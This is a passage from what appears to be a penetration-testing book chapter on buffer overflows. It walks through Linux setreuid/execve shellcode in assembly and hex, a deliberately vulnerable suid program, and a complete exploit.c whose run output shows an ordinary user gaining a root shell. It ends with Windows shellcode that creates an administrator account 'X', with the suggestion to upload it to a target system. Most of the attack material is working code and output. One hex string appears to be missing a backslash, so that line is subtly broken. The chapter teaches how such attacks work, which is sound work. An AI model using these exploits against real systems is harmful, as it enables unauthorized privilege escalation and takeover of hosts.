< Day Day Up > |
This section covers the following examples of buffer overflows:
Simple ExampleExample 14-1 demonstrates how buffer overflows work. This example, when compiled and run on a host, causes a segmentation fault. A segmentation fault occurs when a program tries to access memory locations that have not been allocated for the program's use. Later, in the Linux and Windows examples, you will see code that escalates a user's privilege to gain full access on a host. Example 14-1. Buffer Overflows: Simple Example/* SimpleOverflow.c */ #include <stdio.h> int main() { int MyArray[3]; int i; for (i=0; i<=10; i++) { MyArray[i] = 10; } return 0; } Linux:/home/pentest #gcc SimpleOverflow.c -o SimpleOverflow Linux:/home/pentest #./SimpleOverflow Segmentation fault (core dumped) Example 14-1 shows you how easy it is to cause a buffer overflow. Although no malicious code was injected, the MyArray array was supposed to contain 4 elements, yet it was filled with 11 (0 to 10). This caused a segmentation fault on the system. As you can see, it does not take much to cause a buffer overflow. Linux Privilege EscalationIn this section, you learn how to gain root privileges on a Linux system. Probably the most well-known exploit is the buffer overflow code detailed in the paper "Stack Smashing for Fun and Profit," by Aleph One. Many modified forms of this exploit are available on the Internet, but this section focuses on the one by SolarIce. (To read more examples from SolarIce, see his website at http://www.covertsystems.com.) This exploit requires two Linux system calls:
The latter, /bin/sh, launches a shell. seteuid sets the effective permissions for the shell to run as user root and group root, represented by 0,0. These system calls are made using bytecode within a program called shell.c. Bytecode, also called opcode, is a hexadecimal representation of a high-level assembly language. This example begins by examining the bytecode and then packages it into exploit.c. To get the bytecode, you first program the assembly code into a file called shell.s, as demonstrated in Example 14-2. Example 14-2. Assembly Code.section .text .global main main: xorl %eax, %eax xorl %ebx, %ebx movb $0x46, %al int $0x80 xorl %eax, %eax xorl %edx, %edx pushl %edx pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %edx pushl %ebx movl %esp, %ecx movb $0xb, %al int $0x80 The first two lines perform an XOR on the EAX and EBX registers. Both registers are reset to 0. However, passing 0x0 (NULL) terminates the program so that you cannot just push 0x0 onto the stack. Instead, you do the functionally equivalent by running an XOR operation, which returns 0s onto both EAX and EBX. These two 0s are the arguments passed to the setreuid call to set the user ID and group ID to root. The next line reads as follows: movb $0x46, %al This moves system call 70 (0x46) into the 8-bit register AL. System call 70 is the setreuid function. You can view all system calls by examining the /usr/include/asm/unistd.h header file: Linux:/home/pentest #./cat /usr/include/asm/unistd.h | grep 'setreuid' Linux:/home/pentest #./define _NR_setreuid 70 Although the system call is pushed onto the stack, it is not called yet in the program. System calls in Linux are done with the following instruction, which switches the system to kernel mode and runs the system call: int $0x80 Example 14-3 displays the next part of the assembly code, which executes the equivalent C code: Example 14-3. C Codeint main() { /* Declare a pointer array called MyArray You can name this whatever you like */ char *MyArray[2]; /* Set the first element of the array to /bin/sh */ MyArray[0] = "/bin/sh" /* The next element is NULL (0x0) */ MyArray[0] = 0x0; /* Call execve(argv[0], &argv[], NULL) */ execve(MyArray[0], MyArray, 0x0); /* Exit the main function */ exit(0); } Begin by clearing the EAX and EDX registers. As before, use XOR instead of pushing NULL (0x0) onto the stack because directly pushing NULLs onto a char array causes it to terminate. xorl %eax, %eax xorl %edx, %edx Next, push EDX onto the stack: pushl %edx You then push /bin/sh onto the stack. Because the stack buffer works in a LIFO fashion, you first push /sh and then push /bin onto the stack. This ensures that it is read as /bin/sh. If you push in the opposite order, it reads /sh/bin, which does not execute. pushl $0x68732f2f pushl $0x6e69622f The execve operation also requires the pointer address to be passed (&argv). The following lines pass the pointer to EBX, a NULL, and send /bin/sh to ecx. movl %esp, %ebx pushl %edx pushl %ebx movl %esp, %ecx The next line loads the execve system call to the 8-bit AL register: movb $0xb, %al Finally, the Linux int $0x80 kernel call is made as before: int $0x80 Now you can compile the code using GNU C Compiler (GCC): Linux:/home/pentest #./gcc shell.s -o shell You then test the code by executing the new shell program: Linux:/home/pentest #./shell sh-2.05b# You now have a root shell, and you need to get the bytecode representation of the assembly code. You can use the objdump utility to do this, running it with the d switch. Because this command generates a significant amount of output, use grep for the lines found under the main function only, as demonstrated in Example 14-4. Example 14-4. Objdump UtilityLinux:/home/pentest #./objdump -d ./shell | grep -A 15\<main 0804830c <main>: 804830c: 31 c0 xor %eax,%eax 804830e: 31 db xor %ebx,%ebx 8048310: b0 46 mov $0x46,%al 8048312: cd 80 int $0x80 8048314: 31 c0 xor %eax,%eax 8048316: 31 d2 xor %edx,%edx 8048318: 52 push %edx 8048319: 68 2f 2f 73 68 push $0x68732f2f 804831e: 68 2f 62 69 6e push $0x6e69622f 8048323: 89 e3 mov %esp,%ebx 8048325: 52 push %edx 8048326: 53 push %ebx 8048327: 89 e1 mov %esp,%ecx 8048329: b0 0b mov $0xb,%al 804832b: cd 80 int $0x80 The middle column represents the bytecode. You collect the bytecode and prepend each hexadecimal character with \x. Before creating the exploit file, first test this in a simple C program called shelltest.c, as demonstrated in Example 14-5. Example 14-5. Shelltest.c/* Shelltest.c */ #include <stdlib.h> /*Create array of shellcode */ char shellcode[] = "\x31\xc0\x31\xdb\xb0" "\x46\xcd\x80\x31\xc0" "\x31\xd2\x52\x68\x2f" "\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xb0" "\x0b\xcd\x80"; int main() { /* Return the array */ int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } Next, compile and run this program to verify that it still provides a root shell: Linux:/home/pentest #./gcc shelltest.c -o shelltest Linux:/home/pentest #./shelltest sh-2.05b# Note Bytecode that is used in this fashion to launch a shell is often referred to as shellcode. Next, you need to create a program to exploit a vulnerable program using this bytecode. You can exploit any vulnerable program running with the suid bit set to root. For the sake of a simple example, a free vulnerable program called vuln.c is used here. You can obtain similar code from Aleph One's paper on smash stacking and other websites, but Example 14-6 uses the code that SolarIce provides: Example 14-6. Vuln.c/* SolarIce www.covertsystems.org */ #include <stdio.h> #include <string.h> #include <stdlib.h> #define LEN 256 void output(char *); int main(int argc, char **argv) { static char buffer[LEN]; static void (*func) (char *); func = output; strcpy(buffer, argv[1]); func(buffer); return EXIT_SUCCESS; } void output(char *string) { fprintf(stdout, "%s", string); } Next, compile the program and set the suid bit so that it runs in the context of root: Linux:/home/pentest #gcc vuln.c -o vuln Linux:/home/pentest #chmod +s vuln Now that you have a vulnerable program running in the context of root, you can exploit it using the shellcode created earlier, as demonstrated in Example 14-7. Example 14-7. Exploit.c/* exploit.c SolarIce www.covertsystems.org */ #include <stdio.h> #include <string.h> #include <unistd.h> #define PROG "./vuln" #define BUF_SIZE 256 unsigned char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" // setreuid(0, 0); "\x31\xc0\x50\x6a\x68\x68\x2f\x62\x61\x73" // execve("/bin/sh"); "\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24" "\x0c\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80" "x31\xc0\xb0\x01\xcd\x80"; // exit(0) int main(int argc, char **argv) { char buf[BUF_SIZE+4+1]; char *prog = argc >= 2 ? argv[1] : PROG; char *envp[] = {shellcode, NULL}; unsigned long addr = 0xbfffffff - 5 - strlen(prog) - strlen(shellcode); char *p; p = buf; memset(p, '\x90', BUF_SIZE); p += BUF_SIZE; *((void **)p) = (void *) (addr); p += 4; *p = '\0'; execle(prog, prog, buf, NULL, envp); perror("execle()"); return(-1); } When the program is compiled and run in the context of an ordinary user, you gain root access, as Example 14-8 demonstrates. Example 14-8. Launching Exploit.cLinux:/home/pentest >gcc exploit.c -o exploit Linux:/home/pentest >whoami andrew Linux:/home/pentest >id uid=500(andrew) gid=100(users) groups=100(users),14(uucp),16(dialout),17(audio),33(video) Linux:/home/pentest > ./exploit bash-2.05b# whoami root bash-2.05b# id uid=0(root) gid=100(users) groups=100(users),14(uucp),16(dialout),17(audio),33(video) bash-2.05b# By wrapping the shellcode into exploit.c and sending it to the vulnerable program ("vuln"), you are able to escalate normal user privileges (andrew) to those of a root user. Windows Privilege EscalationThis section explores the exploitation of a buffer overflow vulnerability in Windows 2000 and Windows XP. The code in Example 14-9, when compiled and run on a Windows computer, loads netapi32.dll. The netapi32.dll contains the Windows NET API that applications on Windows networks use. When you use net use commands from within an MS-DOS command shell, you are making a call to this dynamic link library (DLL). A vulnerability exists that enables you to overflow the Windows buffer and call the NetUserAdd function followed by the NetLocalGroupAddMembers function even if the user does not have Administrator access. The code in Example 14-9 exploits this vulnerability and adds a username X with a password of X. The user is a member of the Administrators group. Example 14-9. Sample Windows Buffer Overflowchar code[] = "\x66\x81\xec\x80\x00\x89\xe6\xe8\xba\x00\x00\x00\x89\x06\xff\x36" "\x68\x8e\x4e\x0e\xec\xe8\xc1\x00\x00\x00\x89\x46\x08\x31\xc0\x50" "\x68\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\x56\x08\x89\x46" "\x04\xff\x36\x68\x7e\xd8\xe2\x73\xe8\x9e\x00\x00\x00\x89\x46\x0c" "\xff\x76\x04\x68\x5e\xdf\x7c\xcd\xe8\x8e\x00\x00\x00\x89\x46\x10" "\xff\x76\x04\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14" "\x31\xc0\x31\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00" "\x68\x72\x00\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68" "\x6d\x00\x69\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00" "\x00\x00\x89\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50" "\x53\x50\x51\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e" "\x18\x49\x49\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00" "\xff\x56\x14\xff\x56\x0c\x56\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b" "\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b" "\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31" "\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24" "\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01" "\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b" "\xc2\x04\x00"; int main(int argc, char **argv) { int (*funct)(); funct = (int (*)()) code; (int)(*funct)(); } As shown in Figure 14-3, a new user named X has been created. This occurs by executing the code in Example 14-9, even if you do not have administrator privileges when running the program. Figure 14-3. Creation of 'X' UserUploading this program onto your target system and executing it allows you to create this new account with full administrative access. Now that you have seen some common buffer overflow exploits, the sections that follow examine ways in which you can prevent buffer overflows from happening. |
< Day Day Up > |